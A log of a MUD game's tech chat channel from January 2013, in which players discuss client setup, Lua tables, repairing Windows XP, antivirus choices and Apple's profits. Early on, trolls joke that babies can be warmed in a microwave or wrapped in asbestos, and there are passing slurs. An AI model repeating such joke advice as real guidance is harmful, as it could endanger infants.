T3/r7/2013-01-24.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: according to old ladies the best way to warm pets up is microwaves, that should transfer to babies.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ixle Tech: Ok, I just stopped listening to you.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Leinei Tech: About 3 years after everyone else did, Ixle.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: Ixle nods at Leinei.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: actually the problem is that my extremities are the cold ones and he cries everytime i touch him
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: kori trolls with the best of them... Hmm aren't you fire vuln and shouldn't be playing with fire?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: my apologies misspell on that Koji
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: sometimes I get a little silly, but there's usually a grain of truth in my questions so I appreciate the answers.  Thanks techies!
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I have raynaud's so my hands are always freezing and it's like i can't touch my baby
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ixle Tech: Starling wasn't always wrong apparently.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Leinei Tech: There's also probably a grain of sand in Anarctica somewhere.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: well I understand that asbestos has good insulating qualities so maybe wrapping the baby in that is the right idea.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: now you guys are being sillies
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Greyrainbow Tech: I'm a hipster aaaannnnndddd...... Laptops are wayyyy too mainstream...
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Greyrainbow Tech: I'll use my 1995 computer monitor.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Greyrainbow Tech: before it was cool.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so hipsters intentionally do things that are not popular? so they are they inverse function of popular?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mokg Tech: yes, for example take abelinc not using mush
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: oooooo snap
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: I thought that was because I'm a curmudgeon
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: look at that curmudgeon is trending on google quick hipsters switch to another word
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mokg Tech: hipster is too popular a wrod
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i just thought it was funny that how hipsters define what is cool for them by choosing the inverse of what is popular for everyone else
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: Being alive is mainstream
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it is a cool real world example of a sudo one to one relationship
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Doc Holliday Tech: does anyone have an apple tv 2nd gen
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Doc Holliday Tech: just fyi they are selling for 200-300 on ebay 
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Doc Holliday Tech: used*
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: nod, they're popular to jailbreak...mine's first gen (with hard drive)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Doc Holliday Tech: ya, just wanted to let you guys know - selling then buying roku :)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vaerion Tech: Is there a way to lock down the window position/size on the Aardwolf client?  Or reset it to default?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}The River Styx Tech: I think aardreset or resetaard resets it
T3/r7/2013-01-24.txt.gz:{chan ch=tech}BobTheGreat Tech: That doesn't lock it
T3/r7/2013-01-24.txt.gz:{chan ch=tech}The River Styx Tech: did I say it did?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}BobTheGreat Tech: Excuse my not-wanting-to-read eyes :P
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: The River Styx tickles BobTheGreat.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vaerion Tech: "Resetaard" did return the windows back to default scale.  Thank you.  :)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: to lock it when you find a way you like it, type "aard layout lock"
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Thanks for that, didn't know about it.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: note that it will only lock the included plugins, not stuff like bast's
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Will I be able to run Windows programs using Wine (from Mint 14), if my XP on that partition isn't actually working?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Anyone know? WIll I be able to run mushclient (and other windows programs) via Wine, even though the XP partition the programs are on, won't boot?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Yep
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: The windows installation shouldn't affect other programs installed, unless the whole partition is corrupt.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: wine isn't "running your Windows XP", you wouldn't need to have ever had an XP partition for it
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Oooh I sure hope so...but not all programs will run well in Wine, right? For instance, Bethesda games...
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Ahh well I shouldve probably already understood that :-/
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: MUSHclient runs fine in it...Fiendish is almost always using it in wine
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: I did at one point, as well.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: and for quite a while gammon was primarily using it in wine as well
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: It works just as it would in Windows.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: What about complex PC games..?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Doh! Oh well, guess I'll finish Skyrim when I can afford a new computer in 6 monts 
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: What's wrong with the computer?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: he can't boot XP, so he's been using a LiveCD
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Well he's talking about a new computer, no need for that just for damaged windows.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: You can fix that.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: he doesn't currently have the capability to do so
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: I'll offer my help any way I can.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: step 1, send him your media :-)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Been using Hirens boot cd to run various diagnostics, anti-virus rescues, etc...still kept giving an lsass.exe status code 0 error and auto shutting down...finally found an XP disc but apparently it wasn't slipstreamed for SP3, so now it just constantly tries to reboot into Repair mode
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: I have a slipstream SP3 Windows XP disc
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Desktop or laptop?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Well I don't know for sure that's the reason Repair Mode kept giving errors, but I learned of the possibility AFTER i started 
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Desktop, luckily i have almost all my important files on a whole separate drive
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Well if you want, it's easy to just wipe it clean and start from scratch if you've got everything you wanna keep on a seperate drive.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Wouldn't take any amount of time, and I could talk you through it over the phone, most likely, even better if you had a smartphone with skype.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: iirc he's got the data, but still wants to still access the programs
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: How long, roughly, should it take to resize down a 500GB partition to 400 and 100 ? I can't tell if Gparted is frozen or what...
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ranrr Tech: A slow drive could be 50 MB/s, so it could be 3 hours, I suppose.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ranrr Tech: Up to, worst case.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Mushambo Tech: Ahh okay, I won't worry for a few hours then :)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: does LUA have data structures like python dictionarys?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Nocilis Tech: lua tables are really the only data type available, they are arrays as well as associative maps
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Not sure what python dictionaries are like, so couldn't reliably answer that. I know that Lua (Lua, not LUA!!) has a nice table system, though. :)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: yeah trying to google it ...
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: The table system?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: table = {}, table ={val1, val2, val3, val4}, or even table = {Key1 = "val1", Key2 = "val2", Key3 = "val3"}
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: yay found it
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: If you want to add a new key/value pair to an existing dictionary or to change a value , you will have to use : > dict["key"]="value"
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Nocilis Tech: also, var.item is syntatic sugar for var["item"]
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: http://lua-users.org/wiki/TablesTutorial   "Tables as dictionaries"
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: oh, nice
T3/r7/2013-01-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with php i have about 45 lines of echos all doing the same thing but in different ways (if the person has special access) whats the best way to condense those? throw it in a function?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Polgana Tech: Are there aardwolf scripts for tintin?  Or users of tin tin, or linux terminal client recommendations?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Definitely. Ask Ixle for details.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: He has a site in his finger with a tintin/tmux setup.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Many of the scripts were written by Cheezburger.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'd send you mine, but I don't script much, they're mostly aliases.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Polgana Tech: Perfect, thats what i was using, but no sense reinventing the wheel.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: Did you find them Polgana?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Polgana Tech: Yes.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: Ok, I'm happy to answer any questions you have. I might be linkdead off and on here as I toy around with tt++ 2.00.9 but I'll check tells and respond.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Polgana Tech: I will install it then.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: Get 2.00.8
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: fyi, im running mushclient on linux
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: Scandum changed some things in 2.00.9 and I'm testing changes now.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: Any Python regulars in the audience? Want to know whether the concepts of private member variables and encapsulation, even if not explicitly locked in by the language, are generally used by those people using the language?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: yes
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: yes they are used i should say
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: So if I decide to implement some things in Python, 'the average' Python coder isn't going to see that, having exposed the members (and unless I use C extensions, that's the only option I do have) he can jump in and code to the implementation, as opposed to the interface?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: I've always coded to a minimalist interface, to the point of using factories and end-user limited public methods, etc
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: tech should be able to
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: ? He should be able to code to the implementation?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: if he calls himself a python coder and understands objects
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: Coding to the implementation is bad, though... better to code to the interface - you may know it better as the contract?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: there are always retards who want to do things badly... if your interface needs to be modified he should talk to you not undermine you
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: What I mean is, coding to the implementation means making use of the implementation of a package - as opposed to 'black boxing' it, and dealing purely with the interface
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Tech: Daloran THWAPS Aliens for being a moron.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: yeah i get it
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: the question is can you enforce it
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: Python *doesnt* enforce it
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: i mean with a stick in the meeting room
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: Which brings me back to my original question - I am coming from languages in which it is enforced. Breakable, but basically enforced.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: if it's going open you lost control
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vakieh Tech: I am wondering if it is considered standard practice to assume the black box, even if the language doesn't force you to
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: object oriented paragdim assumes black box
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Noodlez Tech: Where do I get search and destroy as it were?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Trachx Tech: finger Winklewinkle and go to his website
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Noodlez Tech: ... this is incredible.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Noodlez Tech: no wonder people do cp's so fast
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: MUSH Mapper, if you set a portal to a no-map room. Is there any way to do a, mapper goto <that room>?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: You will need to ask Fiendish.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: you can set a cexit to go from the nomap room to a mappable room...
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: how does that allow you to mapper got <no map room>?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: I could not with a room in Tundra.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: without having actually done it... 
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: do you want to enter the portal then go thru nomap rooms to a mappable room
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: no
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: other way ?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: Want to, mapper goto <no map room>
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: that is defined by a portal.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: The only way I can see is that you setup an alias client side and remember the alias for said portal.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: do nomap room not have a info.num  ?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: -1
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: I think it is -1 for all no_map rooms.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: sucks
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: Ahh, set mapper portal in a room with a vnum, but the alias leads to the nomap room, then use the vnum that its set to, mapper goto <false vnum>
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: yeah i would say use an alias
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: guess that might screw some other stuff up though.. runtos etc...
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: Hrm, if this is the only nomap room want to be able to portal into, I wonder if you can set it up to mapper goto -1
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ixle Tech: I don't use MC though so I wouldn't really have the slightest clue.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Cenanin Tech: why every command i type does it say align
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Cenanin Tech: very annoying
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: tags off ?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Dinkers Tech: any egghead with patience on?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: When I boot from my disc drive, an OEM copy of XP SP3 (downloaded from TPB), I get a "general protection fault" error...any ideas? I'm just trying to format and reinstall my Windows 
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: good luck with TBP
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Downloading software illegally is a good way to catch malware.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: And viruses.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: Well I have a legitimate registration key, I just do not have a slipstreamed SP3 install disc
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: So if anyone can recommend a better place to find one...
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Still illegal. And there is no guarantee it hasn't been tampered with.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Call microsoft and ask for one. Maybe they will send it.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: Ahh I was not aware of that illegality, sorry for bringing up on public channel
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Well, ianal, so it may not be illegal where you live.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya i would try calling microsoft or where you got the computer from originally
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: Built from a friend :-(
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: he doesn't have an xp disk you can borrow?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: I would get a free OS instead. e.g. ubuntu.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: Well I can get a Win7 Ultimate upgrade disc for $25, but I've been advised that probably won't work if it's upgrading from a non-working XP 
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Trachx Tech: apart from legal matters you should check your hardware
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Yo could have a memory error.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: upgrades are iffy even from a working windows
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: I have a mac mini on a kvm switch
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: And I've been able to run Mint / Ubuntu on Live CDs, but the wifi drivers are real finicky
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: even with ubunutu?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Realtek nic?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I've had issues getting realtek hardware to play nicely with Ubuntu.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: wow i remember when realtech were the easiest
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod i think last time i installed the lastest version of ubuntu i couldn't get wifi to work and then rolled back a version and it started working
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What I had to do was go to the realtek site and manually download the drivers (using a different computer) and install via usb or cd to get the *nix machine working.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: woops, that actually was a mis :)
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: tried linuxmint?  it's ubuntu without a lot of driver bullshit
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Language :P
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: Yes, I've used 14 with cinammon
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: how new is your hardware ?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: ~ 4 years...unf. my wifi is a linksys usb connector
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: Linksys WUSB54GCV3 USB-WiFi ?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Mushambo Tech: WUSB54G (no C) vers 4
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: yeah google shows possible solutions
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Why do we need both mini and micro usb? *mumble*
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: There is 4 versions of usbs I have adaptors for. lol
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: because you are willing to pay for them
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: Apple created their own USB.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ranrr Tech: Fortunately, I am not part of the apple cult, so I "only" need the 2.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aliens Tech: i wonder who bought into firewire... and if they a blushing now
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I might need a firewire if I am to rescue anything from my old iPod 3G :P
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. Apple is no longer the most valuable company as its stocks continue to nosedive.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger . o O ( Good )
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Aldeas Tech: don't they still a ton of liquid assets?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: They reported their best quarter, but their stocks are declining. Makes me laugh.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What was their profit last year again?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't know, could look it up but don't care enough to do so.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. collectively, a profit of $41.3 billion last year. $13.1 billion Q1, $11.6 Q2, $8.8 Q3, and $8.2 Q4.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: There's your answer.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods, and the trend becomes blatantly obvious when broken down by quarter
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: $41.7B, sorry, not $41.3.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Q4 for 2011 was $6.6 :p
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Probably the way their release cycle works.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: $36 in Revenue, but only $8.2 in profit. That's a lousy margin, in my opinion.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}The River Styx Tech: good margin for a corporation
T3/r7/2013-01-25.txt.gz:{chan ch=tech}The River Styx Tech: REALLY good margin
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: They're spending more each quarter, but making less.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They have to try harder and harder to get people to buy the same thing over and over :P
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Comparison: $46.3 R/13.1 P. Then 39.2 R/11.6 P, 35 R/8.8 P, 36 R/8.2 P.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: That's by quarter, revenue vs. profit.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: 28%, 30%, 25%, 22%.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's actually about normal. There's always going to be fluctuation
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: About normal, sure, but shows they're losing their value.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: A 5% drop in one quarter hurts.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Medieval Jameson Tech: i forgot how small the client was on my computer
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: Anyone familiar AVG virus scanner, know what the, ROC_JAN2013_AV File is for. It keeps popping up a window that says it cant connect, and if I should try to connect or stay offline.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: heh, avg.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: step 1) uninstall avg
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: step 2) install malwarebytes
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: step 2) install mse or avast
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ontuct Tech: I switch to avast because i had issues with avg
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Daloran Tech: step 3) Light the computer on fire.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: Step 3) install avast
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mse is the least annoying
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Tigernuts Tech: use a typewriter
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Step 4) Remind the trolls why you feed them again.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Turie Tech: Step 4) Light Delgar on fire.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Daloran Tech: step 5)uninstall the avast
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Doink Tech: Need one that wont auto update ever.
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: step 6) install gentoo
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ontuct Tech: what is mse?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Daloran Tech: step 7) Lawyer up, and hit the gym
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Trachx Tech: microsoft security essentials
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Ontuct Tech: we just need to pimpslap virus coders
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Medieval Jameson Tech: whats gentoo?
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: jfgi
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: operationg system, jameson
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Trachx Tech: use xp mode for browsing or at least sandboxed ie
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: operating*
T3/r7/2013-01-25.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir slaps Trachx.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: hey, how to make a portal alias on mush?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Hanslanda Tech: ctrl-alt-8, I think.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: finger fiendish, go to his website...click the wiki tab, included plugins, featured plugins
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: he wrong the aard MUSHclient package and has lots of nice info there...
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: from there, click GMCP-enabled world mapper...there's a "more tips" section with a link to a good tutorial that goes over the thought process to make a good portal setup
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: ty
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Prince Wario Tech: how do I get my tierstat to be at hp
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ranrr Tech: I don't think that's possible.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: I've been told it is. tierstat hp? or maybe tierstat durability?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Is there a command to flag your current room as norecall/portal in the mapper, other then trying to portal out?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: Just wondering, are there any good mudding apps on the iPad rivalling the android's blowtorch? Also would like to get some opnions as i am currently considering to get an iPad mini and have some reserves regarding it not having retina display and its processing speed. 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: "retina" is industry buzzword and a load of crap. There is at least one tablet with a higher PPI then the "retina" ipads.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: there are a couple MUD apps on iDevices, but I still contend that it's best to use a telnet/ssh app to access a full-fledged MUD client :)
